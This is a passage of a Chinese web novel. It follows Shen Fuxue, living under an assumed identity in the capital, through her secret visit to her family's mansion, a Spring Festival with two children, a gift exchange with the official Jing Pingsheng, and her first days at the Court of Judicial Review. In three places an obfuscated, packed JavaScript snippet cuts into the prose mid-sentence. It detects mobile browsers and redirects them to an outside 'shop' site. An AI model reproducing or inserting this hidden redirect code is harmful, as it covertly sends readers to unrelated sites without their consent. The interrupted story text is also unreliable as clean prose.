他特意选择的这四间房,牢牢地把关元的房间围在了中间,若是关元那边有什么小动作,他们定能第一时间知晓,并且做出应对。 阿泽为自己的聪明机智而骄傲。 连带着这几天走路都熠熠生风,满脸的开朗自信。 但…… 出乎意料的,在接下来的行程里,关元那边别说有什么小动作了,就连房门都很少出。 期间为防止是关元“金屋藏娇”,阿泽还特意伪装成好客的游客,去关元的房间转了一圈,除了屋子里的一堆食物残渣,并没发现其他可疑之处。 得知如此情况的沈付雪景凭生二人也不意外,先前在听钱来和关元谈话时他们就知道了,关元此行,很可能只是去汇报情况,又或者说是像上朝点卯那般,例行公事罢了。 故而在船上并不是重点,他们要知道的,是关元在进京后,到底都见了谁。 荣幸地听完二人为他解惑,阿泽了悟地拉长声音“哦”了一声,然后……便没有然后了。 接下来的时间他都了无生气地躺在床上,仿佛对自己产生了极大怀疑。 * 历经五天的航行,船只终于靠岸。 还未完全停泊就听见了外面的喧闹,热热闹闹地让人只是听声音便能想象到京城是个何等繁华之地。 沈付雪站在甲板上,垂眸俯视这又熟悉又陌生的地界。 “又在发什么呆。” 夹杂着一声轻笑,景凭生的调侃话飘进耳里,扎根。 很奇怪的,方才还在心中强烈翻涌的思绪,在听到景凭生这一句话时,便倏地平静了不少。 沈付雪回头望向他:“京城繁华,民女初到此处,自是要多看看的。” 说着,她视线落在前方正执行追踪任务的几人,又道:“大人可是要走了?” 按照祈南国律法,四品及以上官员入京,是要先去觐见皇帝的,景凭生身为大理寺少卿,自是逃不掉这一流程。 闻言,景凭生轻嗯一声:“就要出发了。事情紧急,我抽不出时间送你们,阿泽又有任务在身,虽安排了两个下属护送,但……万事小心,我会尽快来寻你的。” 难得正经的语气,景凭生绷着脸,好似与人分别是一件颇为严肃的事情。 沈付雪忍了又忍,终是没忍住在少卿大人严肃的时候发出一声笑。 她挑了挑眉,明明是仰视,身上却自带一种要人移不开眼的飒爽之气:“又不是生离死别,大人何须如此严肃?” “你……” 不等少卿大人谴责她的用语,沈付雪伸出手,握在他的肩膀上,“好了……” 少卿大人顺从地被她扭过身去。 “大人若是再不走,可就真的迟了哦。” 凛冽的海风将女子的碎发扬起,景凭生最后回头看了一眼。 这一次,是他在她的注视下,策马离开。 15. 第 15 章 “云娘子。” 见少卿大人离开,一旁被自家阿兄牵着的安安这才开口,乖巧地喊了沈付雪一声。 “云娘子。”安安抬头看向朝她走来的沈付雪,向来无忧无虑的她好像也有了自己的小心思,大大的眼睛里如今盛满愧疚与不安:“是不是安安和阿兄,拖累云娘子了呀……” 安安说着,声音愈发得低。 安安其实不是很懂他们大人每天都在忙些什么,但耳濡目染,此次出行的目的,安安多少还是知道一些的。 那个高个子的眼神很吓人的大人,要去宫里,宫里是什么,安安不知道。 那个稍微矮一点儿的,但是很喜欢说话的大人,带着很多很多大人一起,要去抓坏人。 最后只留下云娘子和两个凶凶的大人,要和阿兄他们一起回家。 但……安安看得出来,云娘子其实是想去抓坏人的。只是不放心把她和阿兄交给别人,这才留了下来。 所以,是她和阿兄…… “没有哦。” 云娘子嗓音轻柔,伴随着脸颊上的温热,安安懵懵懂懂地扬起脸。 “安安怎么会这么想?”沈付雪好笑地摸了摸小女孩儿的脸,蹲着身语气认真地道:“是安安把云娘子想的太好啦,抓坏人是一件很累的事情欸,云娘子懒懒的,比起抓坏人其实更喜欢跟安安呆在一起哦。” “当然了,”沈付雪弯眸一笑,微微抬头看向旁边的少年:“还有阿澈~” 一句话又成功地把少年惹得脸红,沈付雪顿时笑得更加开心。 其实她也不是在安慰安安,她所说的,的确是她心中所想。 一夕之间失去所有亲人的伤痛并没有那么容易平复,她也时常会感到孤独……有安安他们陪着,总归是治愈了她的。 沈付雪笑着,又低声安抚安安两句,见她眼里的不安褪去,众人这才启程往住处行去。 半个时辰后,马车在宅子门口停下。 沈付雪好声劝走尽职尽责,还想留在暗中保护他们的两位大哥后,这才推开大门,站在门口望向她全款买下的小院落。 这座宅子是她托少卿大人帮忙找的,地处偏僻,远离闹市,价格也不贵,简直完美符合她心中期想。 唯一的缺点便是日后的上值不是很方便。但沈付雪身份敏感,通勤时间长也好过每日都要提心吊胆来得好。 在心里大大夸了少卿大人一番,沈付雪牵着安安,后面跟着亦步亦趋的阿澈,三人边观赏边往里走。 环境清雅幽静,房间虽小,但应有的设施一个不落,倒是足够她和阿澈安安三人舒适地在这里住上一段时间了。 围着小院四处转了下,沈付雪开口让他们两人各自选了下自己喜欢的房间,又陪着他们简单收拾了下…… 等忙完这一切回到自己的房间时,天色已然不早。舟车劳顿的疲惫感也在此时涌现,沈付雪揭掉脸上的人皮面具,只稍稍洗漱了下,便躺在自己的新床上,沉沉睡去。 * 翌日一早,景凭生方才忙完,便抽空往这边来了一趟。 但也只是在沈付雪这浅待了一会儿,两人同步了下手中的信息,又相互寒暄几句,景凭生便风风火火地离开了。 毕竟离京这么久,少卿大人案上积累的公务已经要堆成山了,此番能来已是不易,下次再来……便不知是什么时候了。 目送少卿大人走远,沈付雪站在门口思忖良久,最终决定……去太尉府前看上一看。 左右方才跟少卿大人商量过了,待年后她再进入大理寺,这几日闲着也是闲着,还不如给自己找些事做。 况且……她也很久,没有听到府里的消息了。 母亲早逝,兄长未婚,府上本就人丁稀少,如今父兄被害,这偌大的一个太尉府,唯留她一人孤苦伶仃。 深吸一口气,沈付雪回屋交代了阿澈几句,而后才走出小院,朝着记忆里的方向而去。 虽说在路上租了辆马车,但等沈付雪来到太尉府,也已经是一个时辰之后了。 不同于记忆里的喧闹场面,如今的太尉府,沈付雪只远远地看上一眼,便觉冰冷刺骨,像是被人在心上撒了酸梅粉,极致的酸涩感爬上心尖,引起阵阵刺痛。 无视路人投来的奇怪目光,沈付雪就这么安静地站在家的对面,像个偷窥者似的无声望着它。 直到酸麻感爬上神经末梢,皑皑白雪飘落在眼睫上,沈付雪这才恍若大梦初醒一般,藏在袖中的双手裹紧大氅,她最后看了一眼门前的牌匾,转身离开。 然而就在这时,“吱呀”一声,身后的大门忽地被人推开,沈付雪下意识地回头望去。 “李阿叔……” 熟稔的话语不自觉地脱口而出。 沈付雪望着那满头白发,正佝偻着身躯清扫门庭的男子,鼻尖一酸,眼泪止不住地掉下来。 不该是这样的…… 记忆里的李阿叔分明是个发丝乌黑,身体硬朗健硕的中年男子,可如今却…… 明明遭遇过那么多,那么多次她都忍住了,可唯独这一次……仿佛所有的委屈和不安都倾注在了这一刻,她终是忍不住,望着那人无声地抽泣起来。 那是她在这世上,唯一一个亲近之人了…… 沈付雪死死抑制住身体里那股,想要就这么不管不顾冲上前的冲动,在他直起身看过来的前一秒,转身跑开。 大雪无声落下。 “老李,看什么呢。” 身后传来一声问询,李生权揉揉有些模糊的眼睛,摆了摆手道:“唉呀,都老眼昏花了,还能看清什么啊……” 身后之人好像又说了些什么,但李生权却没听进去。 视线里的女子越跑越远,李生权望着那道身影,忍不住自嘲一笑。 自从二小姐走后,他站在街上,看谁都像二小姐…… 果然啊,人老了,就是不中用了呀…… 幽远空灵的风声响过,地上的尘土被白雪覆盖,李生权又怔怔地盯着那雪看了好一会儿才又直起身。 随后,空旷的街道上又响起“吱呀”一声,太尉府大门紧闭,重归寂静。 * 不知道走了多久,也不知道走去了哪里,雪越下越大,街上行人无一不在躲雪回家,唯独沈付雪还行尸走肉似地,漫无目的地在街上游荡。 明明距离家那么近,不过三两步的距离她就能走到李阿叔的面前,笑着同他说一声:我回来了。 ……可她不能。 她不能拿李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245457|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿叔,也不能拿自己的命去赌。 元淮毅既然能做出陷害她父兄之事,若是知晓她还活在世上,定然是要找机会将她灭口的。 她不能连累李阿叔他们,只远远地看上一眼,知道太尉府尚有人在……其实也够了。 心中情绪慢慢平复,沈付雪闭了闭眼,刚要打量周边坏境,忽地一声长鸣传来,紧接着一匹马从小路的拐角冲了出来! 沈付雪瞳孔微缩,当即便脚尖发力,迅速往后撤去。 雪花斜落,马上的女子居高临下地望过来,朝她勾唇一笑。 “对不住啊——” 那女子爽朗开口,声音夹杂着马蹄声,渐渐远去。 “娘子你没事吧?” 沈付雪正有些走神,旁边的一婆婆以为她被吓到了,连忙走上前问她。 不等她回答,那婆婆便自顾自地叹口气,手抖着指向方才那女子离去的方向道:“如今这世道啊……唉,这已经是婆婆我第七次撞见她当街纵马了,娘子你下次也注意着点儿,莫要走在路中间,否则被撞了也没地儿说理去。” 闻言,沈付雪蹙起眉,问:“为何?” “娘子一看就不是京城人吧。”见她这么问,那婆婆叹口气,又道:“娘子有所不知,方才那小娘子是太傅之女祁张张的表妹袁圆熙,祁小娘子你知道伐?就是当今圣上喜欢的那个女子,听说不日就要入主东宫……” “就是可怜了刚刚去世的沈家小姐……” “说远了说远了,”老婆婆自顾自地讲着,并未发现一旁沈付雪的神情变化。 太傅之女祁张张…… “沈家小姐”尸骨未寒,他这么着急立后,是不是……先前对她说的喜欢,也全是假的? 沈付雪低着头望着地上的雪,不知是尚未进食的原因,还是其他什么,胃里突然有些翻涌,想吐却又什么都吐不出来。 “……那袁娘子,便是仗着她表姐近来风头正盛,不把我们京城的规矩当规矩啊。只可惜世人皆懂得趋炎附势,袁娘子虽然性子顽劣,但确实还没闹出什么事儿来,众人也就睁一只眼闭一只眼,全当她不存在咯。” 老婆婆讲完,也不要沈付雪回应,伸手拍拍她的肩,又规劝了几句,便撑着伞,转身离开了。 没了油纸伞的遮挡,洁白的雪花再度落在沈付雪的身上。 她抬起手,静默地看着雪花在她指尖融化。 雪落无声。 沈付雪享受着踩雪的感觉,在一道又一道的“咔嚓”声中,缓步走向前方的马车处。 幸好来的时候跟车夫讲好了,要他多等自己一段时间,否则这大雪天气,车夫倒真不是很好找。 “娘子,你可算回来了……” 等在马车边的车夫见她过来,当即跳下车,为她放好轿凳。 待她坐稳,车夫又细心地叮嘱了几句,这才赶着马车,往他们驶来的方向而去。 下了雪的道路颇有些难走,来的时候花了约莫一个时辰,如今回去,时间定是只多不少。 沈付雪看了会儿窗外的雪景,看累了便将帷裳放了下来,靠着窗准备小憩一会儿。 然而就在这时,外面忽地有策马声响起。伴随着有些耳熟的叫骂声,沈付雪忽地睁开眼。 16. 第 16 章 视线所及,两名差役正策马而行。 眼看就要从马车旁边经过,沈付雪忽地一声喊,将两人拦了下来。 不等她开口,那两人便异口同声地道了声:“云娘子?” 马匹同马车并列而行。 这两名差役便是跟着景凭生从饮安城回来的那一批人里的,算是在沈付雪面前混了个眼熟,方才听到声音,便觉有些熟悉。 “你们这是……” 如果她没记错的话,这两人应该是跟着阿泽去查关元幕后之人了的。 如今回来,莫不是那边有了什么新进展? 闻言,两名差役相互对视一眼,似乎是在权衡能否将案件细节透露给她。 末了,考虑到沈付雪是被少卿大人亲自邀请要加入他们大理寺的人,两名差役又不约而同地动了下眼睛,算是达成了一致。 “云娘子,”其中一名差役看着她,神情严肃地道:“我们跟着阿泽大人一起去追查关元,但……期间跟丢了一次,再找到的时候,关元……已经没了声息。” 意料之中的结果。 自发现此案的线索指向京城的时候,沈付雪就知道,这表面看起来简简单单的一个拐卖案,背后定然牵涉甚广……想要查清幕后之人的身份,难如登天。 不清楚沈付雪的所思所想,那边的差役还在继续道:“现下阿泽大人已经将现场围了起来,我们二人便是要回去报信……” “云娘子,若是没有其他事,我们便先回去了。” 言罢,在沈付雪的问询下,两人把关元所在地点告知后,这才快马加鞭地朝着大理寺行去。 两人走后,沈付雪思忖一瞬,原本打算去案发现场看上一看,但仔细一想,大理寺人才辈出,又有景凭生坐镇,若是活人还好些,死人……绘梦之术无法发挥作用,她去了也帮不上什么忙。 如此想着,沈付雪朝车夫知会了一声,下一刻,马车沿着先前的路径,继续驶去。 * 冬季时间绵长,但在被幸福感包围的小院里,倒颇有些转瞬即逝的迹象。 是日清晨,藏匿了许久的阳光透过窗棱洒落一地,逆着光照,沈付雪支开窗,目光惬意地扫向正对着她的那块儿花圃。 初来乍到,小院里本是没有这些的,虽有几分幽静雅致,但终是少了些人气儿。 故而,闲来无事的三人倒腾了几日,种种花浇浇树,喂了些鱼又围了圈木栅栏,甚至还买了些素净的瓷砖,在小院里铺出了一条长长的路。 如此一来,空旷的小院瞬间被生气包裹,三人无一不对这变化感到满意。 于是,每日醒来,沈付雪做的第一件事就是打开窗,让阳光透进来的同时,窗外的景象也映入眼帘,此般连续几日,她整个人的心情都是清爽舒适的。 若不是还有尚未完成之事,此般生活,合该更加惬意才是。 淡淡的落寞感浮上心头,但还未来得及蔓延,便被小院里忽然响起的欢快声音打破。 “云娘子!” “云娘子云娘子!” 沈付雪闻声望去。 是安安正一路小跑着,手里拿着两串糖葫芦直奔她而来。 “云娘子快~”隔着门窗,安安踮着脚,努力举高手,把糖葫芦递到沈付雪面前。 对上小女孩儿满怀期待的目光,沈付雪笑着接过,但夸赞之语还未来得及说出口,就见安安扒着窗沿,弯着眼睛道: “云娘子,安安刚才听到外面有卖糖葫芦的,然后就拉着阿兄去买啦!这个是给云娘子的,很甜哦~云娘子快尝尝呀!” 在安安脆生生地催促下,沈付雪好笑地咬了一口那裹满糖水的圆球,酸甜的味道瞬间在口中炸开。 “怎么样怎么样!” 安安瞪大她那双亮晶晶的眼睛,一脸期待地看着她。 “嗯……” 沈付雪盯着眼前的糖葫芦,皱起眉,故意做出一脸为难的表情。 视线轻斜,眼见小女孩儿脸上的神情愈发紧绷,沈付雪这才忍不住,笑出声来。 “很好吃哦。”沈付雪眉眼弯弯,俯下身去摸了摸她的头:“安安买的,当然好吃啦。谢谢安安~” 心意得到肯定的安安欢呼着跑进屋,朝沈付雪扑来。 两人玩闹了一会儿后,沈付雪轻咳一声,决定开始今天的重头戏——过春节! 自关元处的线索中断,大理寺那边翻了遍卷宗也没从相似案件中找到有用线索后,拐卖案便陷入停滞,暂时中止了调查。 与此同时,景凭生那边也差不多处理完了堆积的事务,本想带他们逛逛京城,但时逢春节,官员们都是要进宫给皇帝贺春的,故而今日聚在一起的,依旧只有沈付雪、阿澈以及安安三人。 但这也不妨碍他们几人的好心情,不用应付外人,沈付雪倒也乐见其成。 春节的年货早在前两天就备好了,春联也在昨天贴完,他们今天的主要任务就只有一个。那就是——玩! 说起来,这还是沈付雪第一次“主办”春节,虽有许多细节不是很清楚,但过春节嘛,热闹开心就好,其他的倒也不必太过在意。 抱着如此心态,三人依次拎起桌上那提前备好的礼盒,有说有笑地出了门。 此住处虽远离闹市,但左邻右舍还是有的,毕竟是要在一个地方同处好一段时间的人,沈付雪思来想去,还是觉得应该去拜访一下。 只是……自搬进这里,这已经连着过了好几日了,沈付雪都没碰见过她的邻居,也不知道他们好不好相处。 圆环扣下,“咚咚咚”的敲门声响起。 身后两人同沈付雪一样,端着手里的小礼物望着门,三人神奇地保持着动作同步。 但……枝头的麻雀叫了两声,转了两圈又飞走的时间里,无人应答。 三人相互看对方一眼,沈付雪抿抿唇,又抬起手,敲了两下门。 直至半盏茶的时间过去,还是无人应。 “……是不是里面的人不在呀?” 仰着头,安安一脸天真地开口问。 沈付雪迟疑了一会儿,道:“或许是……那我们先去右边那一家看看吧。” 言罢,几人又好心情地转了个弯儿,往另一侧去。 但出乎意料的,这次敲门依旧无人应答。 三人面面相觑,这次换成阿澈一脸迟疑地开口:“可能是我们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263079|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有邻居?” 闻言,沈付雪思索一瞬。 虽然也有这种可能,但,依照那房门整洁,摸不到一丝尘土的程度来看,也不像是没人住的样子…… 兴许是两个邻居正好这个时间都不在吧。 沈付雪也没多想,转眼就将此事抛在脑后。 等三人绕着街道转完一圈后,准备的小小新年礼恰好分发完毕。但手里的东西却是只多不少,他们送完礼,也收到了许多有意思的回礼。 过春节的快乐仿佛在此刻体现了出来,安安一路上叽叽喳喳,沈付雪时不时地搭两句话,而阿澈则始终保持静默,唯独受不住安安闹腾了才勉强附和两句。 三人抱着一堆礼物回家,回到家时沈付雪还专门又去瞅了眼左右两个邻居,依旧是大门紧闭,无人进出的样子。 可能真的没有人住吧。 沈付雪推开房门,招呼阿澈和安安两人过去打马吊。 虽然三缺一,准确地来说不算安安这个凑数的是四缺二,但三人却玩得异常开心。玩腻这个之后,沈付雪又不知从哪里掏出一副叶子牌,虚虚列出几种玩法,并逐一给两人讲解后,三人又开始了新一轮角逐。 叶子牌之后,沈付雪又带着两人修花剪草、踢毽子翻花绳……院子里的欢声笑语直至华灯初上才将将停歇。 如此,玩乐了整整一日,众人异常期待的活动才端上桌来。 “哇!” 还未走进灶房,安安就发出一声惊叹,边闻空气中飘来的香气,边快步往里走去:“好香好香!云娘子在做什么好吃的哇——” 噼里啪啦的声音在灶房内响彻,安安看向那正围着围裙大展厨艺的温柔女子,目光里是掩不住的崇拜。 “云娘子你怎么什么都会呀!” 安安站在灶台边缘,踮着脚往里看。 闻言,沈付雪还未说什么,只见在一旁打下手的阿澈忽然出声,仿佛很骄傲似的,道:“自是因为云娘子最厉害。” 不仅足智多谋,武功高强,还会打马吊会玩叶子牌,如今竟是连厨艺都如此了得…… 云娘子果真是天底下最最厉害之人。 只是少年脸皮薄,后半句话自是没好意思说出口的。 从谦虚惊讶到现在的坦然接受,沈付雪已然习惯了兄妹二人的日常夸夸。三人在灶房里忙碌半晌,终是在日光沉没之时做好了新年的第一顿晚饭。 烛光照射,屋内木炭烈烈燃烧,一个又一个餐盘被摆在桌上,围成一个大大的圆。 摆在最中间的是一道鲜虾蹄子脍,旁边四散着五辛盘、角子、胶牙饧,还有古楼子和杏酪,虽说按照习俗,春节应当是要喝花椒酒的,但沈付雪不太喜欢,又问过阿澈和安安,三人达成一致后便将其换成了杏酪。 满满当当的丰盛食物,再加上一些假花果,年味儿浓郁,让人见之便心生欢喜。 深吸一口气,沈付雪督促着安安去净了手,待她回来后,三人方才围在桌前,预备享受今晚的丰盛佳肴。 然而,第一口菜刚夹进嘴里。 “砰”的一声,烟花乍起。 沈付雪循声望去,却意外地在门口望见一道熟悉身影。 17. 第 17 章 冬风浅拂。 朦胧的月色直射而下,将来人笼罩于阴影之中。 明明是看不出身形样貌的,但偏偏,沈付雪在望向那人的第一秒,就认出了他的身份。 景凭生大步走进小院,随着身后无数烟花的炸开,绚丽多彩的光芒在他脸上一一闪过。 鲜活气息弥漫。 他笑着看向沈付雪,道:“如此重大的节日,竟也不等我一起么?” 知他是在打趣,沈付雪起身,仗着身处台阶之上,居高临下地抱臂望他:“那少卿大人都知道是重大节日了,怎的不见带着礼物过来?” 本也只是玩笑之语,谁知景凭生却突然神秘一笑,不由分说地抓起她的手腕,随后脚尖轻点,带着她飞到隔壁的院子里。 沈付雪:……? 被丢下的安安和阿澈两人:……云娘子? 日升之时的记忆在脑海中闪现,沈付雪突然就明白了为什么敲门但邻居不在了。 如此想着,她不由得指向另一侧,问:“右边的宅子……不会也是你的吧?” 景凭生理所当然:“对。” 言罢,不等沈付雪问他图什么,“啪啪”两声,景凭生拍了拍手,随即地面轻微震动,沈付雪下意识地侧耳去听……马蹄声? 沈付雪的脸上难得露出了茫然的表情。 随后,马蹄声越来越近,顺着声源望去,一匹深棕色的马映入眼帘。 马的后面……是一辆马车? “当当——” 从马车上跳下来,阿泽笑嘻嘻地跟沈付雪打了个招呼。 友好地朝他点点头,沈付雪又回过头来,目光迟疑地落在景凭生身上。 她眉毛单挑,用眼神示意他。 景凭生双手抱臂:“不是说新年礼物么?这是第一件。” “第一件?” 沈付雪闻言,不自觉地弯了弯眉眼。 马车驶到两人眼前,景凭生伸手摸了摸那匹马,而后又回头看她:“这宅子幽静是幽静,但远离中心地段,出行不是很方便,有一辆马车的话……应该会好些。怎么样,还喜欢吗?” 沈付雪点头。 虽面上不显,但她心里却是极为满意的。 她本就打算待新年之后去马行看看,没想到却是被景凭生抢了先。 双手背在身后晃了晃,沈付雪偏过头,心情极好地笑了笑:“那第二件呢?” 景凭生:“这第二件嘛……” 说着,他睨她一眼,“待会儿你就知道了。” 还卖起了关子来…… 沈付雪轻哼一声,正欲说点儿什么,在一旁等着的阿泽却忽地插声。 “云娘子看我看我!到我啦到我啦!” 还是一贯的活泼性子,阿泽眼神清亮地望着沈付雪,自制神秘氛围的、慢动作地将他那一直背在身后的手伸了出来,手掌摊开,一个淡黄色带着红穗的平安符出现在她眼前。 “云娘子,这是我特地去寺庙里给你求来的哦,能保平安驱邪祟,让你在新的一年里一飞冲天,扶摇直上九万里……唔!” 正说着,不知从哪跑出来的刀鞘贴在了嘴上,阿泽被迫噤声。 景凭生淡淡地瞥他一眼:“再说下去,小心判你谋逆之罪。” 言罢,尚未出鞘的匕首被丢过来,阿泽手忙脚乱地接过,然后就听他的少卿大人颇为嫌弃地通知他:“清洗好再给我送过来。” 阿泽:…… 上司都是善变的。 能活着就不错了。 嗯,对,就是这样。 无人听见阿泽的内心独白,在他牵着马匹去旁边马厩的时候,沈付雪和景凭生两人已然飞回去在桌前坐下。 随后,阿泽也学着他们的样子,飞去隔壁。 只是临到半空时他突发奇想,觉得两座……啊不,三座宅子应该改成连通的,等过完年,他在隔墙上安个门好了…… * 热闹的晚饭过后。 众人一同收拾好残局,尚且年幼多觉的安安揉揉眼睛,告知沈付雪一声后便乖乖地准备去睡觉。 但话刚说出口,一旁的景凭生便叫住她,阿泽顺势给她递上一个大盒子和一个平安符。 与此同时,阿澈也收到了他的新年礼物。 “嗯?” 两人下意识地接过,而后便听阿泽笑嘻嘻地对他们说:“阿澈和小安安也新年快乐呀,盒子里的是我家大人送给你们的新年礼物,里面的东西一会儿你们自己打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273295|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开看就可以,另一个是平安符,是我专门跑去寺庙给你们求的哦。” 一模一样的说辞,沈付雪似笑非笑地睨他一眼。 紧接着,景凭生毫不留情地拆穿他:“也未必是专门。” 阿泽瞪大眼睛,制止的话还没说出口,就听景凭生继续道:“每一个人,只要直属上司是我,都会收到阿泽‘专门’去求来的平安符。” 阿泽:…… 此刻再说阻止的话已然晚了,他神情幽怨地看了自家大人一眼,“大人你不懂,礼轻情意重,我相信,云娘子、阿澈,还有小安安,你们三个一定会理解我的对不对!” 在他满怀期待的目光下,唯有安安奋力点头回应他。 阿澈有些内向地低着头,小声地应了声“是”。 沈付雪则大大方方地盯着他,笑着道:“理解你。” 被三人的话鼓舞,信心膨胀的阿泽当即昂首挺胸地看向景凭生。 但甫一对上他那似笑非笑的视线,阿泽便跟撒了气的气球一样,瘪了下来。 被他的反应逗笑,安安又精神了些,满怀期待地打开了装有新年礼物的大盒子。 “哇!” 惊呼声从嘴里传出,安安望着盒子里满当当的机巧玩具和漂亮首饰,双眼发光。 “快快快,看看你的。”安安的礼物揭秘,好奇心得到满足的阿泽便跑去了阿澈身边,怂恿他。 阿澈应声,抬手掀开盒子。 一把精致的匕首映入眼帘。 饶是向来脸皮薄,阿澈也没忍住在此刻发出惊呼声。 少卿大人……不对,现在应该喊师父了。之前跟着师父的训练都是拿木棍比划,如今收到匕首,阿澈便像得到了什么宝物似的,眼睛亮得都跟安安同步了。 “谢谢师父!” 少年抬眼,笑得明媚。 新年的第一天,所有人都得到了满意的礼物。那这是不是也预示着,新的一年,他们想要的,都能如愿以偿呢? 又有烟花在空中炸开,星星随着它的频率不停闪烁。 小院中笑声不断,在这一片温馨中,景凭生突然朝着沈付雪伸出手,道: “新年快乐。” “那么……我的礼物呢?” 18. 第 18 章 沈付雪只看了一眼,目光又转向他。 “看它的习性样貌,若是某没猜错,这应当是那天下仅有一只的,名为‘再生’的蛊虫?” 隔着衣袖,景凭生伸手把蛊虫摁回瓷瓶内,而后仔细地合上盖子。 再生,顾名思义,便是能让人再获新生。但此功效必然不是复活那般玄幻之事,或许用“假死”二字来描述它会更贴切些。 沈付雪沉默两秒,而后点了点头。 景凭生说的没错,此虫的确是“再生”,但……却不是仅有一只。 而是两只。 “再生”是师父送给她的,当初的确是天下仅有,但后来被她研究后复刻成功了一只,便是如今景凭生手上的这个。 虽功效大打折扣,但依旧是世上罕有之物。 毕竟当初能从元淮毅手底下假死逃脱,便是全靠这一蛊虫。 幽暗深邃的视线直直望过来,沈付雪不卑不亢,面色平静地反望过去。 送此等礼物给他,便和跟人交底没什么区别。 但两人却只是相互望着,默契的,谁都没有戳破这最后一层窗户纸。 沉默良久,景凭生忽地朗声一笑:“云娘子送某如此贵重的礼物,当真是叫某惶恐。” 沈付雪玩笑似地回他:“谁叫民女不日就要去大理寺当值呢,大人收下民女的礼物,可就跟民女是一只船上的人了……” 景凭生:“荣幸之至。” 沈付雪:…… 终究是说不过他的。 玩闹了一天的疲惫涌上头来,沈付雪揉揉眼睛,正欲开口送客,手上却倏地一沉,一个巴掌大的木雕被放到她的手心里。 “第二件。” 低沉清朗的声音传来,沈付雪举高了手,在朦胧的月色下细细观望手里的木雕。 “这是……你?” 饶是见过许多大场面,在看清那木雕的面貌时,沈付雪还是没忍住拔高了声音。 景凭生笑道:“看来我的雕刻技术还不错。” 月光下,木雕娃娃背靠着大树,身穿一件大氅,帽檐随着他低下的头颅遮住了上半张脸,双手交叉,只那流畅的下颌线能看得清楚。 沈付雪盯着这即便只是一个木雕娃娃都能感受到不羁气息的“景凭生”,没忍住笑出声。 这么一看,她的这位师兄……近来似乎阳光了不少。 “那……” 沈付雪细心把木雕收好,扬眉看去:“还有第三件吗?” 景凭生睨她一眼,指尖在她的额头上用力一点:“云娘子,做人可不要太贪心呀。” 捂着吃痛的额头,沈付雪抬眸瞪他一眼,正想说点儿什么,少卿大人便识趣地拍了拍衣摆:“好了,时候不早了,我该回去了。” “明日见。” 言罢,不待沈付雪说送送他,便见他脚尖一点,再次从围墙处翻到隔壁院子里。 沈付雪:…… 有正门不走,偏要翻墙过去……少卿大人这是什么癖好…… 细微的声响从隔壁传来,沈付雪又安静地站在原地等了一会儿,约莫半盏茶的时间过去,她转身从灶房拎出又一个食盒,而后径直走向门口拴着马匹的地方。 这马送来得突然,晚饭后阿泽把它牵过来后便先拴在了此处,想着待明日再找地方安个小型马厩。 伸手抚摸两下马的头颅,沈付雪放轻了动作,打开门,左手拎着食盒,右手牵着马匹走出去。 直到走出一段路,沈付雪才翻身上马,沉默地往太尉府赶去。 …… 次日清晨。 太尉府管家李生权照常拿着扫帚出门,准备将门口的落叶清扫一遍。 然而他刚一打开门,还未迈出步子,便看见大门的角落里放着一个颇为精致的食盒,上面放了张纸,用石头压着。 李生权疑惑地左右看了看,并没有看到什么可疑之人。 迟疑一瞬,他还是走过去,将那食盒拿了起来。 移开石头,便见那纸上端端正正地写着四个字: 新年快乐。 * 元历二十六年,正月初四。 沈付雪正式以府史的身份,进入大理寺。 虽名义上是辅助大理丞办案,但实际上却是时常被少卿大人叫去忙这忙那,在众人眼里,她便是一个……关系户。 不过他们说的也没错,景凭生招她进来,想必也不是单纯欣赏她的才智,如此这般,说她是关系户倒也不为过。 怀着这种想法,沈付雪本不欲理会他们的风言风语,但不知是不是她的不理会给了众人错觉,让他们觉得她只是一个无才无能,全靠关系才能进来的弱女子,近来总是有人给她使绊子。 或是在整理卷宗的时候把她需要的卷宗推倒在地,末了又假惺惺地说上一句不是故意的;或是在吃饭的时候把辣椒水洒在她的碗里,想要看她出糗;又或是走路的时候不经意地从她身旁路过,肩膀狠狠撞她一下后又转过头来说是自己眼神不好没看清人…… 沈付雪一一忍下。 但架不住他们愈发地过分。 眼见后方又有人朝她飞速奔来,想要故技重施,沈付雪深吸一口气,直接一个过肩摔把人撂倒在地。 “你……” 那人目瞪口呆,躺在地上眼冒金星。 “不反抗不代表我好欺负。”沈付雪居高临下地看向地上那人,面色冰冷:“再有下次,便不是这么简单了。” 言罢,沈付雪抬脚,停顿片刻后,便神色自然地,假装不是故意地从那人身体上横跨过去。 差役:…… “你、你!” 奇耻大辱!奇耻大辱啊!! 无视身后之人的嚎叫,沈付雪把手里的卷宗送到景凭生桌上。见人不在房间,闲下来的她顿时有了个不太光明的想法。 恰好此刻临近放值,沈付雪提前走出大理寺门,在距离门口不远的一个小巷子里停下。 